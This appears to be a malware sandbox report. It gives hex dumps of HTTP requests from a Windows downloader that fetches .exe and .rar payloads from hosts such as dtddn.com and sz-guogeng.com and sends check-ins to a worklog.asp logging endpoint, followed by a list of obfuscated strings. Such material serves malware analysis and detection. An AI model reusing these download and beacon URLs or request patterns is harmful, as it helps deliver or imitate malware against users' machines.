0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f37342e 72617220 48545450   GET /74.rar HTTP
0x00000010 (00016)   2f312e31 0d0a4163 63657074 3a202a2f   /1.1..Accept: */
0x00000020 (00032)   2a0d0a55 7365722d 4167656e 743a204d   *..User-Agent: M
0x00000030 (00048)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000040 (00064)   61746962 6c653b20 57696e33 323b2057   atible; Win32; W
0x00000050 (00080)   696e4874 74702e57 696e4874 74705265   inHttp.WinHttpRe
0x00000060 (00096)   71756573 742e3529 0d0a486f 73743a20   quest.5)..Host: 
0x00000070 (00112)   646f776e 2e647464 646e2e63 6f6d0d0a   down.dtddn.com..
0x00000080 (00128)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x00000090 (00144)   2d416c69 76650d0a 0d0a6c64 6972312e   -Alive....ldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f37342e 72617220 48545450   GET /74.rar HTTP
0x00000010 (00016)   2f312e31 0d0a4163 63657074 3a202a2f   /1.1..Accept: */
0x00000020 (00032)   2a0d0a55 7365722d 4167656e 743a204d   *..User-Agent: M
0x00000030 (00048)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000040 (00064)   61746962 6c653b20 57696e33 323b2057   atible; Win32; W
0x00000050 (00080)   696e4874 74702e57 696e4874 74705265   inHttp.WinHttpRe
0x00000060 (00096)   71756573 742e3529 0d0a486f 73743a20   quest.5)..Host: 
0x00000070 (00112)   646f776e 2e737a2d 67756f67 656e672e   down.sz-guogeng.
0x00000080 (00128)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000090 (00144)   204b6565 702d416c 6976650d 0a0d0a2e    Keep-Alive.....
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67332f 776f726b   GET /UpLog3/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30322532 3051322d 446f776e 4926496e   02%20Q2-DownI&In
0x00000030 (00048)   666f313d 34323533 30343538 37343032   fo1=425304587402
0x00000040 (00064)   25323031 25323030 25323031 20485454   %201%200%201 HTT
0x00000050 (00080)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000060 (00096)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000070 (00112)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x00000080 (00128)   70617469 626c653b 2057696e 33323b20   patible; Win32; 
0x00000090 (00144)   57696e48 7474702e 57696e48 74747052   WinHttp.WinHttpR
0x000000a0 (00160)   65717565 73742e35 290d0a48 6f73743a   equest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f312e72 61722048   GET /lnk/1.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a7565 73742e35 290d0a48 6f73743a   ..uest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f322e72 61722048   GET /lnk/2.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b322e 64746464 6e2e636f   t: lnk2.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a7565 73742e35 290d0a48 6f73743a   ..uest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f332e72 61722048   GET /lnk/3.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a7565 73742e35 290d0a48 6f73743a   ..uest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f342e72 61722048   GET /lnk/4.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b322e 64746464 6e2e636f   t: lnk2.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a7565 73742e35 290d0a48 6f73743a   ..uest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f352e72 61722048   GET /lnk/5.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a7565 73742e35 290d0a48 6f73743a   ..uest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f362e72 61722048   GET /lnk/6.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b322e 64746464 6e2e636f   t: lnk2.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a7565 73742e35 290d0a48 6f73743a   ..uest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f372e72 61722048   GET /lnk/7.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a7565 73742e35 290d0a48 6f73743a   ..uest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f382e72 61722048   GET /lnk/8.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b322e 64746464 6e2e636f   t: lnk2.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a7565 73742e35 290d0a48 6f73743a   ..uest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f392e72 61722048   GET /lnk/9.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a7565 73742e35 290d0a48 6f73743a   ..uest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f55704c 6f67332f 776f726b   GET /UpLog3/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30322532 30442532 30323531 26496e66   02%20D%20251&Inf
0x00000030 (00048)   6f313d34 32353330 34353837 34303225   o1=425304587402%
0x00000040 (00064)   32303131 32353933 20485454 502f312e   20112593 HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   55736572 2d416765 6e743a20 4d6f7a69   User-Agent: Mozi
0x00000070 (00112)   6c6c612f 342e3020 28636f6d 70617469   lla/4.0 (compati
0x00000080 (00128)   626c653b 2057696e 33323b20 57696e48   ble; Win32; WinH
0x00000090 (00144)   7474702e 57696e48 74747052 65717565   ttp.WinHttpReque
0x000000a0 (00160)   73742e35 290d0a48 6f73743a 206c6f67   st.5)..Host: log
0x000000b0 (00176)   2e647464 646e2e63 6f6d0d0a 436f6e6e   .dtddn.com..Conn
0x000000c0 (00192)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000d0 (00208)   76650d0a 0d0a0d0a 0d0a                ve........

0x00000000 (00000)   47455420 2f55704c 6f67332f 776f726b   GET /UpLog3/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30322532 30442532 30323531 26496e66   02%20D%20251&Inf
0x00000030 (00048)   6f313d34 32353330 34353837 34303225   o1=425304587402%
0x00000040 (00064)   32303131 35363837 20485454 502f312e   20115687 HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   55736572 2d416765 6e743a20 4d6f7a69   User-Agent: Mozi
0x00000070 (00112)   6c6c612f 342e3020 28636f6d 70617469   lla/4.0 (compati
0x00000080 (00128)   626c653b 2057696e 33323b20 57696e48   ble; Win32; WinH
0x00000090 (00144)   7474702e 57696e48 74747052 65717565   ttp.WinHttpReque
0x000000a0 (00160)   73742e35 290d0a48 6f73743a 206c6f67   st.5)..Host: log
0x000000b0 (00176)   2e647464 646e2e63 6f6d0d0a 436f6e6e   .dtddn.com..Conn
0x000000c0 (00192)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000d0 (00208)   76650d0a 0d0a0d0a 0d0a                ve........

0x00000000 (00000)   47455420 2f55704c 6f67332f 776f726b   GET /UpLog3/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30322532 30442532 30323531 26496e66   02%20D%20251&Inf
0x00000030 (00048)   6f313d34 32353330 34353837 34303225   o1=425304587402%
0x00000040 (00064)   32303131 38373831 20485454 502f312e   20118781 HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   55736572 2d416765 6e743a20 4d6f7a69   User-Agent: Mozi
0x00000070 (00112)   6c6c612f 342e3020 28636f6d 70617469   lla/4.0 (compati
0x00000080 (00128)   626c653b 2057696e 33323b20 57696e48   ble; Win32; WinH
0x00000090 (00144)   7474702e 57696e48 74747052 65717565   ttp.WinHttpReque
0x000000a0 (00160)   73742e35 290d0a48 6f73743a 206c6f67   st.5)..Host: log
0x000000b0 (00176)   2e647464 646e2e63 6f6d0d0a 436f6e6e   .dtddn.com..Conn
0x000000c0 (00192)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000d0 (00208)   76650d0a 0d0a0d0a 0d0a                ve........

0x00000000 (00000)   47455420 2f574d33 3130322f 392e7261   GET /WM3102/9.ra
0x00000010 (00016)   72204854 54502f31 2e310d0a 41636365   r HTTP/1.1..Acce
0x00000020 (00032)   70743a20 2a2f2a0d 0a557365 722d4167   pt: */*..User-Ag
0x00000030 (00048)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000040 (00064)   2028636f 6d706174 69626c65 3b205769    (compatible; Wi
0x00000050 (00080)   6e33323b 2057696e 48747470 2e57696e   n32; WinHttp.Win
0x00000060 (00096)   48747470 52657175 6573742e 35290d0a   HttpRequest.5)..
0x00000070 (00112)   486f7374 3a20686f 7374312e 737a2d67   Host: host1.sz-g
0x00000080 (00128)   756f6765 6e672e63 6f6d3a37 3737310d   uogeng.com:7771.
0x00000090 (00144)   0a436f6e 6e656374 696f6e3a 204b6565   .Connection: Kee
0x000000a0 (00160)   702d416c 6976650d 0a0d0a3a 206c6f67   p-Alive....: log
0x000000b0 (00176)   2e647464 646e2e63 6f6d0d0a 436f6e6e   .dtddn.com..Conn
0x000000c0 (00192)   65637469 6f6e3a20 4b656570 2d416c69   ection: Keep-Ali
0x000000d0 (00208)   76650d0a 0d0a0d0a 0d0a                ve........


Strings
1@[boo...

06a5Vv2O
080404B0
0H+eQyQaleklk6khnHkhQArW00md/ZQRj1mlTH+O/v+h
0MvYKrmjKMQ
0PR5Xo
0w8yBXchFeH+0aEhbnh79tyhYJMA
1.00
+16ipnT0+4CnVRdxmd
1pFj8h8i9jC9CcCmJpCm8WsS11aGQk8dYDa9rvHd8cW7QoImYjx
1pV+1s
1xvAO2E
26pZhkWihI6n0SfIeN6CYk6seD
29v+n1Ri11l26q7qGy1N61lWqpRcZgZCWc1WNnYHWcR5spFUG9YIZj1tsc1UJ914WjodWc1tG9yC3n4kn59ku2D0Ji9oJi9UJi90JiJoGb
2IbeKrJl5jwS0yHi5CUJ+8TZwjSU+ucLNo940Wel
2qv/AJ9Utq/
2UzvO2zRbVL
3Fgk/Yq8LYddv7
3Lm6Uv6wE2
4fBADzuP1QBPCQwTYfBIY0wTaQMN1FDA1hm6D3
4oqduy9JcXUPzUK
4R0NskmGsjmN4y+u
4zol2ikEo+ka44SO14o31a2y1yZlLyol43kqw+kCFdk744S/14oj1a2t1pllTdMla3kqFdkC6dkpm+Sp143k1a2l1yolL3kla3kqFdkCL4k014SW14X513ML1yLlLuKl0foqvikEo+ka14S914X+13Mt1fBlLULlmdkq0+kEL4k344Sc147S1aSt1p2lTd/laMkqR4kEo+kW14Su14XG13ZL1MklL+3layoqvdkEo+k244Sp147p13ZL1fMlTd/l03kqFdkC34k014SG14X+13Zl1fBlTEolWEoqv+kb44kJ44SU14kl1zSy14kl1W+A
56m4uhmE66myD6hTD6uaD6iPDyvoFGvoMcbob6mGd6mI66mxD6doD6roDgooDRdoKOb4bNmcuhmubnmoD6unD6moDgn
5ABNT0dXL1
5lrdcLx0FX
5mwAWJllLmtB
5xBK5Y8XdP
63HCHbu+GqXmy5kEsbB
64dF5y
6nDDj0xOROc
6WZH62
7A1UwTber4WfwXWG7TbdrFQa7XQP74jHK83
7btLXPQ+RoddRi
7FGminY
7H3F
8vn50W/RWWL8Xutuk6WlXWLquV/1gPg3q1WqWYWsjVWsg5dXuuLNcUgG+kLqQV/nc0/skybcxa4VrR22xlr2xlu2xlB2xJLg
8x3o
8zUSazhvl4UaND+vtZk3CxMKeZKQtXKsCRharZL5C8q3C8duh8vSt4+QC8qaN8oG6gVuI4UxtDK18UoTC8nuN4k3tDoP8UK568q5IZo3loS
9lAO/xa
9x8uSJGR6Es/SYv/hf1
A1XF
abwekormwyxvmanpjzeninwbqmgpcbodnosbhbkqebaxedqdbdhzgajpdpaxywpfkcwoujgccyiwnvt
achbixpsnuznjgtkjbguvgvrlcnwinizxfvyffxouhsa
agkxhvfemsruzfgqjptvdbisbgfxxqf
ahyraundmkvymrfgkghhzugchjlzwpsjyqnwdxgrpcimpphncjztbmeqpqmrdtrmaipt
aisbnmpdcueipjmio
aKEJigr2fD+dPq634vdMoqQs4AcMlgyjfvZ2PGb
AKjQX9jdKKjNPK9BPKXqPKMpPNhDanhDVFgDgKjFgOjxKK16PKX8PECDPuMDCOrDzngQS2jFU9jeKKjBPKjDPKjDP7LDPKjD
aklfsdrdxkbhepcjexyjwg
akrgwpazgalktsnxxl
